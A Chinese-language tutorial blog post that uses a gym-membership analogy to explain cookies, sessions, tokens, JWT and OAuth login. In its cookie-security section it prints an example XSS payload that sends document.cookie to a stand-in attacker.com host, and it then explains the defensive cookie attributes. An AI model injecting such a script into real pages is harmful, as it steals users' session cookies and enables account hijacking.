为什么关掉浏览器再打开，你还是登录状态？

当前位置：点晴教程→知识管理交流 →『技术文档交流』

zhenglin

2026年4月2日 16:18 本文热度 53

导读

你有没有想过一个问题：为什么关掉浏览器再打开，之前登录的网站还是登录状态？浏览器重启了，凭什么还记得你是谁

今天，我用会员卡的故事，来讲讲Cookie和Session到底是怎么回事。

浏览器是怎么"记住"你的？

想象一下你去一家健身房。

第一次去，前台会让你填表，然后给你一张会员卡。以后每次去，你只需要出示会员卡，前台就知道你是谁了。

浏览器也是一样的道理。

你登录一个网站后，网站会给你发一张"会员卡"——这就是Cookie。下次再来，直接出示"会员卡"，网站就知道你是谁了。

Cookie是什么？

Cookie就是浏览器存的一段小数据，就像一张会员卡。

当你登录成功后，服务器会给你发一张"会员卡"：

Set-Cookie: userId=12345; expires=Fri, 31 Dec 2026 23:59:59 GMT; path=/; HttpOnly; Secure

这句话翻译成人话就是：

「这是12345号会员的卡」（userId=12345）
「有效期到2026年12月31日」（expires）
「在整个网站都有效」（path=/）
「JavaScript无法读取」（HttpOnly）
「只能用HTTPS发送」（Secure）

浏览器收到后，就会把这张"会员卡"存起来。以后你每次访问这个网站，浏览器都会自动带上这张卡：

Cookie: userId=12345

服务器一看：「哦，这是12345号会员，之前来过的。」

深入了解Cookie 🔬

Cookie是HTTP协议的一部分，由Set-Cookie响应头设置，由Cookie请求头发送。

一个标准的Cookie包含以下属性：

每个浏览器都有自己的Cookie存储：

Chrome/Edge：SQLite数据库
Firefox：JSON文件
Safari：二进制文件

浏览器会根据Domain + Path + SameSite三个规则决定是否发送Cookie。

Session是什么？

还是健身房的例子。

你有会员卡（Cookie），但健身房还需要知道你的详细信息：姓名、电话、套餐类型、健身记录……

这些信息存在哪？健身房后台的电脑里。

每次你出示会员卡，前台就在电脑里查：「12345号会员，信息如下……」

这个后台记录，就是Session。

深入了解Session 🔬

Session是服务器端的状态管理机制。

┌─────────────────────────────────────────────────────────────┐
│                        服务器                                │
│  ┌──────────────┐    ┌──────────────┐    ┌──────────────┐ │
│  │ Session ID   │    │ Session ID   │    │ Session ID   │ │
│  │ abc123       │    │ def456       │    │ ghi789       │ │
│  │ {user:张三}  │    │ {user:李四}  │    │ {user:王五}  │ │
│  └──────────────┘    └──────────────┘    └──────────────┘ │
└─────────────────────────────────────────────────────────────┘
         ↑
         │ sessionId=abc123 (Cookie)
         │
┌─────────────────────────────────────────────────────────────┐
│                        浏览器                                │
│  Cookie: sessionId=abc123                                   │
└─────────────────────────────────────────────────────────────┘

Session的工作流程：

1. 客户端 → 服务器：POST /login {username, password}
2. 服务器 → 数据库：验证用户名密码
3. 服务器 → Redis/内存：创建 Session {
       sessionId: "abc123",
       userId: 12345,
       username: "张三",
       loginTime: "2026-01-01 10:00:00",
       expireTime: "2026-01-02 10:00:00"
   }
4. 服务器 → 客户端：Set-Cookie: sessionId=abc123; HttpOnly

服务端Session存储对比：

为什么关掉浏览器再打开，还是登录状态？

这就涉及到Cookie的有效期了。

Cookie有两种：

如果没有设置expires，那就是会话Cookie——关掉浏览器，"会员卡"就失效了。

但如果设置了有效期，那这张"会员卡"可以管好几年！

深入了解Cookie有效期 🔬

会话Cookie vs 持久Cookie的区别：

# 会话Cookie（没有Expires/Max-Age）
Set-Cookie: sessionId=abc123


# 持久Cookie
Set-Cookie: sessionId=abc123; Expires=Wed, 01 Jan 2027 00:00:00 GMT

换个浏览器为什么登录失效了？因为Cookie存在浏览器本地，不同浏览器有独立存储，互不相通。

Cookie有哪些问题？

Cookie虽然好用，但也有不少坑：

大小限制：一个Cookie最多4KB，存不了太多数据
明文传输：HTTP请求不加密，被人抓包就完了
会被XSS偷走：攻击者通过JavaScript就能拿到你的Cookie
不能跨域：baidu.com的Cookie不会发给google.com

深入了解Cookie安全问题 🔬

为什么Cookie容易出问题？

因为Cookie是明文传输的！HTTP请求长这样：

GET /profile HTTP/1.1
Host: example.com
Cookie: userId=12345; sessionId=abc123

用Wireshark等工具轻松就能看到你的Cookie。

XSS攻击是什么？

攻击者在网站评论区偷偷注入一段JavaScript代码：

// 攻击者在网站评论区注入这段代码
<script>
  fetch('https://attacker.com?cookie=' + document.cookie);
</script>

当其他用户访问这个页面时，这段代码就会悄悄执行，把大家的Cookie发送给攻击者的服务器。

怎么防护？

给Cookie加上安全属性：

Set-Cookie: sessionId=abc123; HttpOnly; Secure; SameSite=Strict

HttpOnly：JavaScript无法读取，防止XSS偷Cookie
Secure：只能用HTTPS发送，防止抓包
SameSite：阻止CSRF攻击

Token：更好的方案？

正因为Cookie有这些问题，现在很多网站用Token来代替Session。

Token就像一张临时通行证：

你登录成功后，服务器给你发一个Token
以后每次请求，带上这个Token
服务器验证Token，而不是查Session

深入了解Token 🔬

Token的工作流程：

1. 客户端 → 服务器：POST /login {username, password}
2. 服务器 → 数据库：验证用户名密码
3. 服务器：生成Token（签名）
4. 服务器 → 客户端：{token: "eyJhbGci..."}
5. 客户端 → 服务器：Authorization: Bearer eyJhbGci...
6. 服务器：验证Token签名，返回用户信息

Token vs Session 对比：

JWT：Token的一种格式 📄

JWT（JSON Web Token）是最常见的Token格式：

eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IuW8lOWhlSIsImlhdCI6MTcwNjU5MjAwMCwiZXhwIjoxNzM4MTI4MDAwfQ.fgJ3k9a7b2c1d8e

拆开看是三部分：

┌────────────────────────────────────────────────────────────┐
│ Header (头部) - Base64编码                                  │
│ { "alg": "HS256", "typ": "JWT" }                          │
├────────────────────────────────────────────────────────────┤
│ Payload (载荷) - Base64编码                                 │
│ { "sub": "1234567890", "name": "张三", "exp": 1738128000 }│
├────────────────────────────────────────────────────────────┤
│ Signature (签名) - 密钥加密                                 │
│ HMACSHA256(base64UrlEncode(header) + "." + ... , "密钥")  │
└────────────────────────────────────────────────────────────┘

为什么JWT更高效？ 服务器只需要验证签名，不用查询数据库！

OAuth：第三方登录 🔐

你肯定见过"用微信登录""用Google登录"——这就是OAuth。

OAuth让你授权别的应用访问你的信息，但不用告诉它你的密码。

深入了解OAuth 2.0 🔬

OAuth 2.0的完整流程（授权码模式）：

用户 → 第三方App → 授权服务器 → 资源服务器
   ↓        ↓           ↓            ↓
点击登录  跳转页面   返回授权码    返回Token
                            ↓
                    获取用户信息

OAuth的四种授权方式：

总结

写在最后

现在你应该懂了：

Cookie = 会员卡，浏览器帮你保管
Session = 健身房档案，服务器帮你保管
Token = 临时通行证，比Cookie更灵活
OAuth = 授权别人访问你的信息，不用给密码
关掉浏览器还是登录状态 = 你的"会员卡"还没过期

下次登录时看到「记住我」或「用微信登录」，你就知道——哦，背后原来是这么回事呢。

参考文章：原文链接

该文章在 2026/4/2 16:18:56 编辑过

关键字查询

正在查询...

点晴ERP是一款针对中小制造业的专业生产管理软件系统,系统成熟度和易用性得到了国内大量中小企业的青睐。

点晴PMS码头管理系统主要针对港口码头集装箱与散货日常运作、调度、堆场、车队、财务费用、相关报表等业务管理，结合码头的业务特点，围绕调度、堆场作业而开发的。集技术的先进性、管理的有效性于一体，是物流码头及其他港口类企业的高效ERP管理信息系统。

点晴WMS仓储管理系统提供了货物产品管理,销售管理,采购管理,仓储管理,仓库管理,保质期管理,货位管理,库位管理,生产管理,WMS管理系统,标签打印,条形码,二维码管理,批号管理软件。

点晴免费OA是一款软件和通用服务都免费，不限功能、不限时间、不限用户的免费OA协同办公管理系统。